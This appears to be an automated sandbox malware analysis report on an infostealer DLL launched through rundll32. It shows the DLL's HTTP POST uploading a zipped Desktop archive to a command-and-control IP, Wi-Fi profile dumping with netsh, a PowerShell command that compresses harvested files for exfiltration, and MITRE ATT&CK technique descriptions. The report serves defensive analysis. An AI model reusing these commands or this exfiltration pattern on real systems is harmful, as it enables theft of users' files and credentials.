Dec 13, 2024 07:49:28.421139956 CET	198	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 14:49:27 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.12	49725	185.81.68.148	80	6780	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:49:27.993885040 CET	172	OUT	POST /8Fvu5jh4DbS/index.php?wal=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----NDYxMw== Host: 185.81.68.148 Content-Length: 4773 Cache-Control: no-cache
Dec 13, 2024 07:49:27.993999958 CET	140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 44 59 78 4d 77 3d 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------NDYxMw==Content-Disposition: form-data; name="data"; filename="246122658369_Desktop.zip"Content-Type: application/octet-stream
Dec 13, 2024 07:49:27.994098902 CET	8	OUT	Data Raw: 50 4b 03 04 14 00 00 00 Data Ascii: PK
Dec 13, 2024 07:49:27.994121075 CET	8	OUT	Data Raw: 08 00 71 43 45 57 a8 98 Data Ascii: qCEW
Dec 13, 2024 07:49:27.994178057 CET	8	OUT	Data Raw: 64 29 84 02 00 00 02 04 Data Ascii: d)
Dec 13, 2024 07:49:27.994178057 CET	8	OUT	Data Raw: 00 00 17 00 00 00 5f 46 Data Ascii: _F
Dec 13, 2024 07:49:27.994196892 CET	8	OUT	Data Raw: 69 6c 65 73 5f 5c 47 41 Data Ascii: iles_\GA
Dec 13, 2024 07:49:27.994230986 CET	8	OUT	Data Raw: 4f 42 43 56 49 51 49 4a Data Ascii: OBCVIQIJ
Dec 13, 2024 07:49:27.994267941 CET	8	OUT	Data Raw: 2e 64 6f 63 78 0d 93 c7 Data Ascii: .docx
Dec 13, 2024 07:49:27.994326115 CET	8	OUT	Data Raw: 8d 45 31 08 45 f7 23 fd Data Ascii: E1E#
Dec 13, 2024 07:49:27.994326115 CET	8	OUT	Data Raw: a2 c0 39 60 83 b3 dd 7f Data Ascii: 9`
Dec 13, 2024 07:49:29.444408894 CET	198	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 14:49:28 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Target ID:	0
Start time:	01:49:00
Start date:	13/12/2024
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe "C:\Users\user\Desktop\hoPazBDFG9.dll"
Imagebase:	0x7ff7017a0000
File size:	165'888 bytes
MD5 hash:	763455F9DCB24DFEECC2B9D9F8D46D52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:49:00
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:49:00
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",#1
Imagebase:	0x7ff766e50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:49:00
Start date:	13/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\hoPazBDFG9.dll,Main
Imagebase:	0x7ff6eefe0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:49:00
Start date:	13/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",#1
Imagebase:	0x7ff6eefe0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:49:00
Start date:	13/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff60a250000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:49:00
Start date:	13/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff60a250000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:49:00
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:49:00
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:49:03
Start date:	13/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\hoPazBDFG9.dll,Save
Imagebase:	0x7ff6eefe0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:49:05
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Imagebase:	0x7ff63c0a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:49:05
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:49:05
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Imagebase:	0x7ff63c0a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6180, Parent PID: 7156

General

Target ID:	15
Start time:	01:49:05
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:49:06
Start date:	13/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",Main
Imagebase:	0x7ff6eefe0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:49:06
Start date:	13/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\hoPazBDFG9.dll",Save
Imagebase:	0x7ff6eefe0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:49:06
Start date:	13/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff60a250000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	01:49:06
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	01:49:10
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Imagebase:	0x7ff63c0a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6712, Parent PID: 6680

General

Target ID:	21
Start time:	01:49:10
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FFE160CC6D2 Relevance: 1.3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

3, xrefs: 00007FFE160CC6E0

Memory Dump Source

Source File: 0000000C.00000002.2584278592.00007FFE160C7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE160C7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe160c7000_powershell.jbxd

Similarity

API ID:
String ID: 3
API String ID: 0-1842515611
Opcode ID: a3a6abaca9026d62e16bfaa70ac30b41a48a5972eecf22399889e121494981a8
Instruction ID: 1b3cbbf756caab33433bf1bd00727a5d43e0b49ea78f45b3e3c454cc377d2ed3
Opcode Fuzzy Hash: a3a6abaca9026d62e16bfaa70ac30b41a48a5972eecf22399889e121494981a8
Instruction Fuzzy Hash: E6110C70608A888FD794DF2DC48491ABBE1FF99311F5545ADE08AC7261DB31E845CB01

Function 00007FFE160CC825 Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

Sg, xrefs: 00007FFE160CC83D

Memory Dump Source

Source File: 0000000C.00000002.2584278592.00007FFE160C7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE160C7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe160c7000_powershell.jbxd

Similarity

API ID:
String ID: Sg
API String ID: 0-2792451824
Opcode ID: 01a9dcabdc40abf0e2e76b203b80489c351ca3dad361b33956a6c5d4fa7b23d7
Instruction ID: 4b4d1873b49f06ea7b7e5c9eb0c909e8849f81c759ac170b9d86f0a52a8d3cb1
Opcode Fuzzy Hash: 01a9dcabdc40abf0e2e76b203b80489c351ca3dad361b33956a6c5d4fa7b23d7
Instruction Fuzzy Hash: E4F05431609D069FE6A0EB2DE4859B573D2FF55321B8001F9E04DC72A6DD69E8868740

Function 00007FFE160CC72E Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFE160CC735

Memory Dump Source

Source File: 0000000C.00000002.2584278592.00007FFE160C7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE160C7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe160c7000_powershell.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: e5507e48801fbfb9d1b94395fc3aab59ee54a8c296e083169beeaef5404ae3a3
Instruction ID: 09388cb6c10e189f90abfbd2d7f13c5f2aeb6d6e3d736b26074bac5c9520892e
Opcode Fuzzy Hash: e5507e48801fbfb9d1b94395fc3aab59ee54a8c296e083169beeaef5404ae3a3
Instruction Fuzzy Hash: 5901C970604A488FD794DF29C48895ABBE1EF9D305B55895DE08AC7671DB31E846CB01

Function 00007FFE160CC850 Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

Sg, xrefs: 00007FFE160CC83D

Memory Dump Source

Source File: 0000000C.00000002.2584278592.00007FFE160C7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE160C7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe160c7000_powershell.jbxd

Similarity

API ID:
String ID: Sg
API String ID: 0-2792451824
Opcode ID: 718ee5eb69be53de6af4db3d7d1cbdefa3a1f99a3d58ce8c828a124fe6487d5e
Instruction ID: 0732e80dab00870abd7c13a45d95fe2edb06d7737de45eee8b82a7e66e3bc6f5
Opcode Fuzzy Hash: 718ee5eb69be53de6af4db3d7d1cbdefa3a1f99a3d58ce8c828a124fe6487d5e
Instruction Fuzzy Hash: 5EF082316089058FDA90EB2CE485AA573D2FB58324B4005B9D04DC7165CE25EC46C740

Function 00007FFE160CDD0B Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2584278592.00007FFE160C7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE160C7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe160c7000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2ef0f8d08aafbb509420291d003bf2c94514be14138165c8444cc11f6dab2ac
Instruction ID: 2cf72c79588aa35a57c1f0248fdedac716773db55b485d6530bf4ad9d03e209d
Opcode Fuzzy Hash: c2ef0f8d08aafbb509420291d003bf2c94514be14138165c8444cc11f6dab2ac
Instruction Fuzzy Hash: 7151823171CD098FEA68EA29D491A7573D2FF98310B5441BCE05EC36E6DE24FC429B85

Function 00007FFE160CDB4D Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2584278592.00007FFE160C7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE160C7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe160c7000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee7ee5442c0c84bfc7192ccdee6186c1c576e5c1f3cbc08c60df8752ab3727a2
Instruction ID: 3d865d5f81c7a4eb5636b4fd4a8c5a4976936a967b8395a7c4d5b40d3db6bbd7
Opcode Fuzzy Hash: ee7ee5442c0c84bfc7192ccdee6186c1c576e5c1f3cbc08c60df8752ab3727a2
Instruction Fuzzy Hash: 57216071518E599FDBB4DB2DC498B217BE1FF69320B4401EAD08AC76A1DA25FC80CB41

Function 00007FFE160CE458 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2584278592.00007FFE160C7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE160C7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe160c7000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f257b70976c410436be5cb976ceb31553ac7efe7973e1ad05436868ee6d6ad32
Instruction ID: 116e2d3712d7f4c63a1748fca734e7d8116df5cbb62bc1cea966b12f6dde1bb2
Opcode Fuzzy Hash: f257b70976c410436be5cb976ceb31553ac7efe7973e1ad05436868ee6d6ad32
Instruction Fuzzy Hash: 2911C930518D0A8FDFA8EB1EC094E6577E1FF29321B5504E8D04EC76B1CA65EC80CB40

Function 00007FFE160B33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2584278592.00007FFE160B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE160B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe160b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e299623f713b4dffa0203e319fe819a063794d4d4339be70ff8e16bca9f68e6
Instruction ID: 50b1f34035d288acb335bdc24b269d88babbd1e220eee7af760eb8ae643248d6
Opcode Fuzzy Hash: 6e299623f713b4dffa0203e319fe819a063794d4d4339be70ff8e16bca9f68e6
Instruction Fuzzy Hash: A001677111CB0C4FD748EF0CE451AA6B7E0FB95364F50056DE58AC3661DA36E892CB46

Function 00007FFE160CC70B Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2584278592.00007FFE160C7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE160C7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe160c7000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05c1317beea17dc2d7a0ee986b57ba1179be208aa1b629dd71dd5aa1be9919e1
Instruction ID: 4f27be53953f310936d5c3fa1c9fec2d1c25b4c7220428235810900bbcb5c180
Opcode Fuzzy Hash: 05c1317beea17dc2d7a0ee986b57ba1179be208aa1b629dd71dd5aa1be9919e1
Instruction Fuzzy Hash: DD014F30618A48CFD798EF29C494926B7E2FF9D301B5189ADE04ACB271DF31E842CB01

Function 00007FFE160CC620 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2584278592.00007FFE160C7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE160C7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe160c7000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ede551fbc0b9e78aae101e09865f3b42698416ff61b1893bb8dff42bb644e10
Instruction ID: a649d4ba09b30547e9e928f8fb2ce3b50c5504d6c50e2263d13e04c5d17534f7
Opcode Fuzzy Hash: 4ede551fbc0b9e78aae101e09865f3b42698416ff61b1893bb8dff42bb644e10
Instruction Fuzzy Hash: 72F03070614A488FD7A8CB29C444A67BBE2FBDD311F514A6EE48AD3360DE31D845CB81

Function 00007FFE160CCC5D Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2584278592.00007FFE160C7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE160C7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe160c7000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c51f2a34238a811a86d51cf9eccafdb367af335f9c18b75eefe93cc8ce627a64
Instruction ID: 80bcb529ed594e92d15c4c54a01183cf1bf5275111069dcb40d4066ed95e589f
Opcode Fuzzy Hash: c51f2a34238a811a86d51cf9eccafdb367af335f9c18b75eefe93cc8ce627a64
Instruction Fuzzy Hash: D7D05E2270CE1C0F6194A99D780A2B8B3C1D38923270002BFE88EC2665DD1688C343C1

Function 00007FFE160CCBF9 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2584278592.00007FFE160C7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE160C7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe160c7000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 597e5b4a9551984215f1805eea671e8bd5c1e176bff1709122e45c15eed86662
Instruction ID: e54e6d62c52d5e3c79eb30e9ab31d26d95bb5c938ba79c7abdbfb6575629b00f
Opcode Fuzzy Hash: 597e5b4a9551984215f1805eea671e8bd5c1e176bff1709122e45c15eed86662
Instruction Fuzzy Hash: 7BD0C262B20D0C4B9290968D94D2324B3C1D78831138140FA980ED3286E9106C058381

Function 00007FFE161857C8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2588367752.00007FFE16180000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffe16180000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0764cee866733fb5c073df9c5f757cc4c32e69de2f1822b34128de41ffb72574
Instruction ID: 97c223b32b82b4b1bd85488fecf7ef84e74f1ba0bf835ec81331118d322e206d
Opcode Fuzzy Hash: 0764cee866733fb5c073df9c5f757cc4c32e69de2f1822b34128de41ffb72574
Instruction Fuzzy Hash: 2CE01A31928F064AE674AB3D540A6957291FB04730F104B6CE0BEC72E6DB3C68424B80

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

